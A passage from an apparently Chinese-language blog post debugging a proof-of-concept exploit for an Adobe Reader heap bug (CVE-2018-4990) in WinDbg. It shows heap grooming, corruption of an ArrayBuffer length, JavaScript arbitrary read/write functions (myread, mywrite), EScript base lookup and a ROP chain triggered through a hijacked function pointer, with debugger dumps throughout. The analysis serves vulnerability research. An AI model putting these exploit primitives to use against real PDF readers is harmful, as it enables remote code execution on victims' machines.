        05fb3928 0081 0081  [00]   05fb3930    00400 - (busy)
        05fb3d30 0081 0081  [00]   05fb3d38    00400 - (free)
        05fb4138 0081 0081  [00]   05fb4140    00400 - (busy)
        05fb4540 0081 0081  [00]   05fb4548    00400 - (free)
        05fb4948 0081 0081  [00]   05fb4950    00400 - (busy)
        ......
        05fbd158 0081 0081  [00]   05fbd160    00400 - (free)
        05fbd560 0081 0081  [00]   05fbd568    00400 - (busy)
        05fbd968 0081 0081  [00]   05fbd970    00400 - (free)
        05fbdd70 0081 0081  [00]   05fbdd78    00400 - (busy)
        ......

回憶前面分析漏洞的時(shí)候我們知道, 越界訪問(wèn)的那個(gè)數(shù)組分配的大小是 0x3f4, 有了上面的空洞, 這樣在分配這個(gè)數(shù)組時(shí)就會(huì)落在空洞里, 由于 POC 已經(jīng)在內(nèi)存中布局好了越界訪問(wèn)時(shí)要釋放的值, 這樣分配時(shí)落在空洞, 越界訪問(wèn)釋放時(shí)就會(huì)釋放掉提前設(shè)置的那兩個(gè)值了.

繼續(xù)查看 POC, 接下來(lái)就是觸發(fā)越界訪問(wèn)的代碼了, 這里我們下斷, 看看越界訪問(wèn)釋放了那兩個(gè)指定地址后后會(huì)發(fā)生什么:

; free 0d0e0048
0:000> !heap -p -a 0d0e0048 
    address 0d0e0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (free)
; free 0d0f0048
0:000> !heap -p -a 0d0f0048 
    address 0d0f0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (free)

可以看到, 在釋放了 0x0d0f0048 后, 它和前面的 0xd0e0048 合并成了一個(gè)大小為 0x1fff8 的空閑塊. 接著 POC 分配了 0x40 個(gè)大小為 0x20000 - 24 的 ArrayBffer, 這里會(huì)導(dǎo)致這個(gè)空閑塊被分配, 并且大小為 0x1fff8:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 420000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (busy)
0:012> dd 0d0e0048 lc
0d0e0048  00000000 0001ffe8 00000000 00000000
0d0e0058  00000000 00000000 00000000 00000000
0d0e0068  00000000 00000000 00000000 00000000

然后 POC 遍歷之前分配的那 0x1000 個(gè)大小為 0x10000 - 24 的對(duì)象數(shù)據(jù), 找到這個(gè)大小為 0x1fff8 的塊, 然后使用 setUint32 將偏移為 0x10000 - 24 的位置設(shè)置為 0x66666666, 這個(gè)位置也就是之前 0x0d0f0048 這個(gè)塊的大小位置:

0:012> dd 0d0f0048 Lc
0d0f0048  00000000 66666666 00000000 00000000
0d0f0058  00000000 00000000 00000000 00000000
0d0f0068  00000000 00000000 00000000 00000000

可以看到, 0x0d0f0048 的大小位置被修改成了 0x66666666, 這樣我們就獲得了一個(gè)能訪問(wèn)很大范圍的 ArrayBuffer. 接著 POC 找到這個(gè)大小 為 0x66666666 的塊, 用它創(chuàng)建一個(gè) DataView.

接著到如下代碼:

for(var i2 = 1;i2<0x10;i2++) {
    arr1[i2] = new Uint32Array(sprayarr[i1+i2]);
    arr1[i2][0] = i2;
}

這里 i1 就是當(dāng)初分配那些 0x10000 - 24 大小的塊時(shí), 0x0d0f0048 這個(gè)塊在 sprayarr 中的中索引, 這里用該索引后面的塊創(chuàng)建 Uint32Array, 并將第一個(gè)元素設(shè)置為索引值(這里可以用前面插入代碼獲取對(duì)象地址的方法查看 sprayarr 中相應(yīng)位置的對(duì)象).

接下來(lái)執(zhí)行到如下代碼:

for(var i2=0x30000;i2<0x10000*0x10;i2=i2+4) {
    if( biga.getUint32(i2,true)==spraylen && biga.getUint32(i2+4,true) > spraypos  )
        ...

這里通過(guò)前面長(zhǎng)度為 0x66666666 的塊獲取查找兩個(gè)值, 這里調(diào)用 getUint32 時(shí), i2 作為偏移, 而基址是這個(gè)大塊的地址, 也就是 0x0d0f0058(0x0d0f0048 是堆 UserPtr, 使用從偏移 0x10 字節(jié)開(kāi)始). 這里其實(shí)是從 0x0d0f0048 這個(gè)塊后面偏移 0x30000 開(kāi)始, 也就是其它的一些大小為 0x10000 - 24 的塊開(kāi)始查找(通過(guò)之前的方法可以測(cè)試得知, sprayarr 中的塊按索引是連續(xù)的, 也就是說(shuō)比如 i1 是 0x0d0f0048 塊的索引, 那么 i1 + 1 處的塊地址是 0x0d100048). 這里就是從 sprayarr[i1] 后面的第三個(gè)塊開(kāi)始, 此時(shí)我們可以在 if 塊里增加打印 i2 值的代碼, 看看匹配條件時(shí) i2 的值是多少, 這里獲得 i2 值是 0x3fff4, 我們?cè)?Windbg 計(jì)算查看一下該處的值是什么:

0:012> dd 0x0d0f0058 + 0x3fff4
0d13004c  0000ffe8 1b297138 00000000 00000004
0d13005c  00000000 00000000 00000000 00000000
0d13006c  00000000 00000000 00000000 00000000
0d13007c  00000000 00000000 00000000 00000000
0:012> dd 1b297138 
1b297138  066b2b68 06625c00 00000000 66f89128
1b297148  00000000 00000000 00000000 ffffff81
1b297158  0000ffe8 ffffff81 087c0b40 ffffff87
1b297168  00000000 00000000 00000002 00000000
1b297178  00003ffa ffffff81 00000005 ffffff81
1b297188  0d130058 00000000 066b2b68 06625c00

我們可以看到, 這是第一元素被寫(xiě)為 4 的大小為 0x10000 - 24 的塊(第一個(gè)元素實(shí)在填充 arr1 的循環(huán)中寫(xiě)入的), 通過(guò)用地址減去 0x0d0f0058 也可知道這是 0x0d0f0058 后面的第四個(gè)塊, 這里比較的兩個(gè)值第一個(gè)是塊長(zhǎng)度, 第二個(gè)此時(shí)不知道什么意思, 不過(guò)看 dump 出的內(nèi)存很眼熟, 應(yīng)該是 Uint32Array 對(duì)象的結(jié)構(gòu), 猜測(cè)是指向 Uint32Array 的指針, 因?yàn)樵谔畛?arr1 的循環(huán)中用這些 ArrayBuffer 創(chuàng)建了 Uint32Array, 所以這里賦了這個(gè)值. 這里我們?cè)谇懊嫣畛?arr1 的循環(huán)后面插入如下代碼驗(yàn)證一下:

var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[i1 + 1];
my_array[2] = sprayarr[i1 + 2];
my_array[3] = arr1[1];
my_array[4] = arr1[2];
app.alert("23333333333");

彈框后附加查看:

0:012> s -d 0x10000 L?7fffffff 0x23badbad
1834d9b8  23badbad ffffff81 087c0978 ffffff87  ...#....x.|.....
0:012> dd 1834d9b8  Lc
1834d9b8  23badbad ffffff81 087c0978 ffffff87
1834d9c8  087c0a10 ffffff87 1b297030 ffffff87
1834d9d8  1b297088 ffffff87 066ee420 ffffff87
0:012> dd 087c0978 Lc
087c0978  066b2b20 06625be0 00000000 0d100058
087c0988  00000000 00000000 00000000 00000004
087c0998  087a2818 00000000 00000000 00000000
0:012> dd 0d100058 - 10 Lc 
0d100048  00000000 0000ffe8 1b297030 00000000
0d100058  00000001 00000000 00000000 00000000
0d100068  00000000 00000000 00000000 00000000
0:012> dd 087c0a10 Lc
087c0a10  066b2b20 06625be0 00000000 0d110058
087c0a20  00000000 00000000 00000000 00000004
087c0a30  087a2818 00000000 00000000 00000000
0:012> dd 0d110058 - 10 Lc
0d110048  00000000 0000ffe8 1b297088 00000000
0d110058  00000002 00000000 00000000 00000000
0d110068  00000000 00000000 00000000 00000000

可以看到, 創(chuàng)建了 Uint32Array 的 ArrayBuffer 的塊長(zhǎng)度后面的指針就是相應(yīng) Uint32Array 對(duì)象的地址. 接著執(zhí)行下面的代碼:

mydv = biga;
var itmp = mydv.getUint32(i2+12,true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4,true) - spraypos +0x50;
mydv.setUint32(mypos-0x10,0x100000,true);
myarraybase = mydv.getUint32(mypos,true);

這里首先獲取 i2 + 12 偏移處的值, 從前面的內(nèi)存我們可以知道, 這里獲取的是寫(xiě)入的索引 4, 然后用索引獲取 arr1 中相應(yīng)的 Uint32Array 對(duì)象. 然后計(jì)算一個(gè)該 Uint32Array 對(duì)象的地址到 0x0d0f0058 的偏移, 接著使用 setUint32 修改該 mypos - 0x10, 我們知道, 這里訪問(wèn)時(shí)是訪問(wèn)的 0x0d0f0058 + mypos - 0x10, 其實(shí)就是修改該的 Uint32Array 對(duì)象偏移 0x40 處的值, 我們查看一個(gè) Uint32Array 對(duì)象可以知道, 這里正常情況下是元素的個(gè)數(shù), 也就是總字節(jié)數(shù) / 4 后的值, 這里將其修改為 0x100000. 然后再獲取 Uint32Array 對(duì)象偏移 0x50 處的值給 myarraybase, 該處的值是實(shí)際存儲(chǔ)數(shù)據(jù)的指針, 此時(shí)此刻, 這個(gè) Uint32Array 對(duì)象該處存的指針就是寫(xiě)入索引 4 的那塊內(nèi)存.

然后接下來(lái)的操作就是通過(guò)下面兩個(gè)函數(shù)了:

function myread(addr) {
    mydv.setUint32(mypos,addr,true);
    var res = myarray[0];
    mydv.setUint32(mypos,myarraybase,true);
    return res;
}
function mywrite(addr,value) {
    mydv.setUint32(mypos,addr,true);
    myarray[0] = value ;
    mydv.setUint32(mypos,myarraybase,true);
}

這里讀取時(shí), 首先將 Uin32Array 對(duì)象的實(shí)際存儲(chǔ)數(shù)據(jù)指針替換為指定地址, 然后直接訪問(wèn), 這樣就獲取了該地址處的值, 最后再寫(xiě)入原實(shí)際存儲(chǔ)數(shù)據(jù)指針值. 寫(xiě)入時(shí)原理相同, 都是通過(guò)替換實(shí)際存儲(chǔ)數(shù)據(jù)指針來(lái)完成的.

有了讀寫(xiě)函數(shù), 接下來(lái) POC 通過(guò)這兩個(gè)函數(shù)獲取計(jì)算 Escript 模塊的基址, 然后布局 ROP. 最后通過(guò)修改 bookmarkRoot 的一個(gè)函數(shù)指針執(zhí)行 ROP. 這里我們斷在 ROP 第一個(gè)地址, 也就是下面代碼計(jì)算的地址:

mywrite(objescript+0x598,offset("sp1")-0x640c0000+dll_base);

斷下后, 首先推測(cè)是通過(guò)函數(shù)調(diào)用過(guò)來(lái)的, 這里我們看下:

0:000> ub poi(esp) L8
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aad8:
66ae18e3 50              push    eax
66ae18e4 e8e466f9ff      call    EScript!mozilla::HashBytes+0x4794f (66a77fcd)
66ae18e9 59              pop     ecx
66ae18ea 85c0            test    eax,eax
66ae18ec 740f            je      EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aaf2 (66ae18fd)
66ae18ee 50              push    eax
66ae18ef a1548dc766      mov     eax,dword ptr [EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xab830 (66c78d54)]
66ae18f4 ff9098050000    call    dword ptr [eax+598h]

可以看到, 確實(shí)是通過(guò)函數(shù)調(diào)用過(guò)來(lái)的, 這里從 EScript 的一個(gè)地址處獲得一個(gè)值, 并調(diào)用偏移 0x598 處的函數(shù), 這下就能理解 POC 里面的操作什么意思了. 最后, POC 里的 Shellcode 有問(wèn)題, 會(huì)導(dǎo)致奔潰, 主要原因是在如下代碼中:

for(var i2=0;i2< rop1.length ;i2=i2+1) {
    myarray[i2+3] = rop1[i2] >  0x640c0000 ?(rop1[i2] - 0x640c0000 +dll_base):rop1[i2];
}
myarray[i2+3-2] = 0x90909090;
for(var i3=0;i3< dlldata.length ;i3=i3+1)

這里在設(shè)置 ROP 時(shí), 判斷是否大于 0x640c0000, 大于就減去并加模塊基址, 但是 ROP 里有個(gè) 0x90909090, 本意是滑塊指令, 但是寫(xiě)入時(shí)卻被改變, 導(dǎo)致執(zhí)行指令時(shí)異常導(dǎo)致奔潰.

關(guān)于怎么進(jìn)行-2018-4990漏洞調(diào)試的分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

cve
AI